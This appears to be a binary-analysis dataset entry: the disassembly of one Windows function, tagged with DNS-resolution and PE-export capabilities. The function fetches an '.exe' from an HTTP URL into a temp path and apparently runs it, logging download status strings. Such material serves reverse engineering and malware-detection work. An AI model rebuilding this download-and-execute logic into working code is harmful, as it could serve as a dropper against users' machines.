Function at 0x406420
Capabilities:
Resolve dns
Resolve function by parsing pe exports

Disassembly:
push 0xffffffffffffffff
push 0x47599a
mov eax, dword fs:[0]
push eax
sub esp, 0x72c
mov eax, dword [0x4a7534]
xor eax, esp
mov dword [esp + 0x728], eax
push ebx
push ebp
push esi
push edi
mov eax, dword [0x4a7534]
xor eax, esp
push eax
lea eax, [esp + 0x740]
mov dword fs:[0], eax
mov eax, dword [esp + 0x750]
mov ebp, dword [esp + 0x754]
mov dword [esp + 0x18], eax
mov ebx, ecx
call fcn.0041d220
lea ecx, [esp + 0xd4]
mov dword [esp + 0x24], eax
call fcn.00468ff0
lea ecx, [esp + 0xb4]
mov dword [esp + 0x748], 0
call fcn.00468ff0
push 0x4827e4
push ebx
lea ecx, [esp + 0xdc]
mov byte [esp + 0x750], 1
call fcn.00469230
mov ecx, eax
call fcn.00469230
push str._.exe
push ebx
lea ecx, [esp + 0xbc]
call fcn.00469230
mov ecx, eax
call fcn.00469230
lea edi, [esp + 0x64]
call fcn.0041def0
lea esi, [esp + 0x44]
mov byte [esp + 0x748], 2
call fcn.00402860
push 0
push 0
push 0
push 0
push 0
push eax
lea ecx, [esp + 0xac]
mov byte [esp + 0x760], 3
call fcn.0046e600
mov ecx, esi
call fcn.0046d3c0
mov ecx, edi
mov byte [esp + 0x748], 6
call fcn.0046d3c0
push 0
push 0
push 0
push 0
lea ecx, [esp + 0xe4]
call fcn.00468b10
push eax
lea ecx, [esp + 0xa8]
push ecx
lea ecx, [esp + 0x6c]
call fcn.0046e600
push 0
push 0
push 0
push 0
lea ecx, [esp + 0xc4]
mov byte [esp + 0x758], 7
call fcn.00468b10
push eax
lea edx, [esp + 0xa8]
push edx
lea ecx, [esp + 0x4c]
call fcn.0046e600
mov byte [esp + 0x748], 8
test byte [0x4b17fc], 1
jne 0x4065b3
or dword [0x4b17fc], 1
push 0
mov ecx, 0x4b17d4
call fcn.00469b10
mov ecx, 0x4b17ec
call fcn.0046da70
push 0x479d30
call fcn.00446932
add esp, 4
push 0x4821c4
push ebx
push 0x4b17d4
call fcn.0041ae70
lea ecx, [esp + 0x74]
mov dword [esp + 0x30], eax
mov byte [esp + 0x17], 0
call fcn.00468ff0
lea ecx, [esp + 0x84]
call fcn.00468ff0
lea esi, [esp + 0xe4]
call fcn.0041de50
lea ecx, [esp + 0xa4]
call fcn.00468ff0
mov byte [esp + 0x748], 0xc
test byte [0x4b17fc], 1
jne 0x406634
or dword [0x4b17fc], 1
push 0
mov ecx, 0x4b17d4
call fcn.00469b10
mov ecx, 0x4b17ec
call fcn.0046da70
push 0x479d30
call fcn.00446932
add esp, 4
push 0x4821bc
push ebx
push 0x4b17d4
call fcn.0041ae70
mov esi, eax
test esi, esi
je 0x406a67
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x406651
sub eax, edx
sar eax, 1
je 0x406a67
push esi
lea ecx, [esp + 0xa8]
call fcn.00469230
push 0x206
lea eax, [esp + 0x13a]
push 0
push eax
mov word [esp + 0x140], 0
call fcn.004498f0
add esp, 0xc
mov ebx, 0x104
lea edi, [esp + 0x134]
call fcn.00415a80
test eax, eax
jle 0x4066c4
mov ecx, edi
push ecx
push 0x482110
lea ecx, [esp + 0xac]
call fcn.00469230
mov ecx, eax
call fcn.00469230
push 0x3fe
lea edx, [esp + 0x342]
push 0
push edx
mov word [esp + 0x348], 0
call fcn.004498f0
add esp, 0xc
push esi
lea eax, [esp + 0x340]
push 0x200
push eax
call fcn.00447193
add esp, 0xc
lea ecx, [esp + 0x350]
push 0x2f
push ecx
call fcn.00446ef4
lea edx, [esp + 0x344]
mov esi, eax
push str.http:__
push edx
mov word [esi], 0
call fcn.00446cee
add esp, 0x10
test eax, eax
je 0x406731
lea esi, [esp + 0x34a]
push esi
lea ecx, [esp + 0x88]
call fcn.00469520
push 0x3f
lea eax, [esp + 0xf9]
push 0
push eax
mov byte [esp + 0x100], 0
call fcn.004498f0
add esp, 0xc
push 0
push 0
push 0x40
lea ecx, [esp + 0x100]
push ecx
push 0xffffffffffffffff
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
lea edx, [esp + 0xf4]
push edx
call sub.WS2_32.dll_gethostbyname
test eax, eax
je 0x4067b8
cmp word [eax + 8], 2
jne 0x4067b8
mov eax, dword [eax + 0xc]
mov ecx, dword [eax]
push ecx
call sub.WS2_32.dll_inet_ntoa
test eax, eax
je 0x4067b8
mov ecx, eax
lea esi, [ecx + 1]
mov dl, byte [ecx]
add ecx, 1
test dl, dl
jne 0x4067a1
sub ecx, esi
je 0x4067b8
push eax
lea ecx, [esp + 0x78]
call fcn.00469030
lea ecx, [esp + 0x74]
call fcn.00468ae0
push eax
lea ecx, [esp + 0x88]
call fcn.00468ae0
mov ebx, dword [esp + 0x28]
push eax
mov ecx, ebx
call fcn.0041cf00
lea ecx, [esp + 0x94]
call fcn.0046d690
test al, al
jne 0x406812
push 0
push str.NoTmpPath
mov edi, ebx
call fcn.0041d190
mov ecx, dword [esp + 0x18]
push 0x482850
call fcn.0046c2f0
mov ecx, eax
call fcn.0046c360
jmp 0x406a9f
sub esp, 0x10
mov ecx, esp
mov dword [esp + 0x2c], esp
xor esi, esi
push esi
push esi
push esi
push esi
push esi
lea edx, [esp + 0x78]
push edx
call fcn.0046e600
mov edi, dword [esp + 0x40]
call fcn.0041f120
add esp, 0x10
test al, al
je 0x406861
push str.locok1
lea ecx, [ebx + 8]
call fcn.00469230
mov eax, dword [ebp]
mov edx, dword [eax + 4]
push 0xffffffffffffffff
push 0xffffffffffffffff
mov ecx, ebp
call edx
mov byte [esp + 0x17], 1
jmp 0x406a9f
lea eax, [esp + 0x24]
push eax
call fcn.004476fc
add esp, 4
mov edi, edi
cmp esi, 3
jge 0x4068a0
push ebp
lea ecx, [esp + 0xa8]
call fcn.00468ae0
mov ecx, dword [esp + 0x1c]
push ecx
lea edx, [esp + 0x3c]
mov ecx, eax
call fcn.00411ae0
add esp, 8
add esi, 1
test al, al
mov byte [esp + 0x17], al
je 0x406870
lea edx, [esp + 0x1c]
push edx
call fcn.004476fc
add esp, 4
lea ecx, [esp + 0x44]
call fcn.00468ff0
mov eax, dword [esp + 0x1c]
sub eax, dword [esp + 0x24]
lea ecx, [esp + 0x44]
push eax
push str.dltm
call fcn.00469230
mov ecx, eax
call fcn.00469260
lea ecx, [esp + 0x44]
call fcn.00468ae0
mov edi, eax
cmp word [edi], 0x26
je 0x4068ef
push 0x26
lea ecx, [ebx + 8]
call fcn.00469260
lea esi, [ebx + 8]
push edi
mov ecx, esi
call fcn.00469230
lea ecx, [esp + 0x64]
call fcn.00468ff0
mov byte [esp + 0x748], 0xe
mov eax, dword [ebp + 4]
push eax
push str.dlbts
lea ecx, [esp + 0x6c]
call fcn.00469230
mov ecx, eax
call fcn.00469260
lea ecx, [esp + 0x64]
call fcn.00468ae0
mov edi, eax
cmp word [edi], 0x26
je 0x40693e
push 0x26
mov ecx, esi
call fcn.00469260
push edi
mov ecx, esi
call fcn.00469230
cmp byte [esp + 0x17], 0
jne 0x406979
mov ecx, dword [esp + 0x18]
push 0x48289c
call fcn.0046c2f0
mov ecx, eax
call fcn.0046c360
lea ecx, [esp + 0x64]
call fcn.00468c30
lea ecx, [esp + 0x44]
call fcn.00468c30
jmp 0x406a9f
lea ecx, [esp + 0x64]
call fcn.00468c30
lea ecx, [esp + 0x44]
mov byte [esp + 0x748], 0xc
call fcn.00468c30
sub esp, 0x10
mov ecx, esp
mov dword [esp + 0x2c], esp
push 0
push 0
push 0
push 0
push 0
lea edx, [esp + 0x58]
push edx
call fcn.0046e600
mov edi, dword [esp + 0x40]
call fcn.0041f120
add esp, 0x10
test al, al
push 0
jne 0x406a26
push 0x4821c4
mov edi, ebx
mov byte [esp + 0x1f], al
call fcn.0041d190
mov esi, dword [esp + 0x18]
push 0
push 0
push esi
lea ecx, [esp + 0x40]
call fcn.0046e300
test al, al
mov ecx, esi
jne 0x406a13
push 0x4828b0
call fcn.0046c2f0
mov ecx, eax
call fcn.0046c360
lea ecx, [esp + 0x54]
mov esi, eax
call fcn.0046d3a0
push eax
mov ecx, esi
call fcn.0046c360
jmp 0x406a9f
push 0x48289c
call fcn.0046c2f0
mov ecx, eax
call fcn.0046c360
jmp 0x406a9f
mov ecx, dword [esp + 0x1c]
lea eax, [esp + 0x58]
push eax
push ecx
lea ecx, [esp + 0x40]
call fcn.0046ec40
test al, al
jne 0x406a43
mov byte [esp + 0x17], al
jmp 0x406a9f
call fcn.0041f410
test al, al
je 0x406a60
push 1
lea ecx, [esp + 0x58]
call fcn.0046d380
push eax
call fcn.00466790
add esp, 8
mov byte [esp + 0x17], 1
jmp 0x406a9f
mov edi, dword [esp + 0x24]
push 0x482200
push 0x482200
mov ecx, edi
call fcn.0041cf00
push 0
push str.NoURL
call fcn.0041d190
mov ecx, dword [esp + 0x18]
push 0x482810
call fcn.0046c2f0
mov ecx, eax
call fcn.0046c360
mov ebx, edi
lea ecx, [esp + 0xc4]
call fcn.00468ff0
lea ecx, [esp + 0x74]
mov byte [esp + 0x748], 0xf
call fcn.00468b10
push eax
push str.ip
lea ecx, [esp + 0x8c]
call fcn.00468b10
push eax
push str.url
lea ecx, [esp + 0xd4]
call fcn.00469230
mov ecx, eax
call fcn.00469230
mov ecx, eax
call fcn.00469230
mov ecx, eax
call fcn.00469230
lea ecx, [esp + 0xc4]
call fcn.00468b10
mov esi, eax
cmp word [esi], 0x26
je 0x406b13
push 0x26
lea ecx, [ebx + 8]
call fcn.00469260
push esi
lea ecx, [ebx + 8]
call fcn.00469230
cmp byte [esp + 0x17], 0
mov edx, ebx
jne 0x406ba9
mov ecx, str.dlfail
call fcn.0041d040
lea ecx, [esp + 0xc4]
call fcn.00468c30
lea ecx, [esp + 0xa4]
call fcn.00468c30
lea ecx, [esp + 0xe4]
call fcn.00468c30
lea ecx, [esp + 0x84]
call fcn.00468c30
lea ecx, [esp + 0x74]
call fcn.00468c30
lea ecx, [esp + 0x34]
call fcn.0046d3c0
lea ecx, [esp + 0x54]
call fcn.0046d3c0
lea ecx, [esp + 0x94]
call fcn.0046d3c0
lea ecx, [esp + 0xb4]
call fcn.00468c30
lea ecx, [esp + 0xd4]
call fcn.00468c30
xor al, al
jmp 0x406c24
mov ecx, str.dlok
call fcn.0041d040
lea ecx, [esp + 0xc4]
call fcn.00468c30
lea ecx, [esp + 0xa4]
call fcn.00468c30
lea ecx, [esp + 0xe4]
call fcn.00468c30
lea ecx, [esp + 0x84]
call fcn.00468c30
lea ecx, [esp + 0x74]
call fcn.00468c30
lea ecx, [esp + 0x34]
call fcn.0046d3c0
lea ecx, [esp + 0x54]
call fcn.0046d3c0
lea ecx, [esp + 0x94]
call fcn.0046d3c0
lea ecx, [esp + 0xb4]
call fcn.00468c30
lea ecx, [esp + 0xd4]
call fcn.00468c30
mov al, 1
mov ecx, dword [esp + 0x740]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x728]
xor ecx, esp
call fcn.0044610a
add esp, 0x738
ret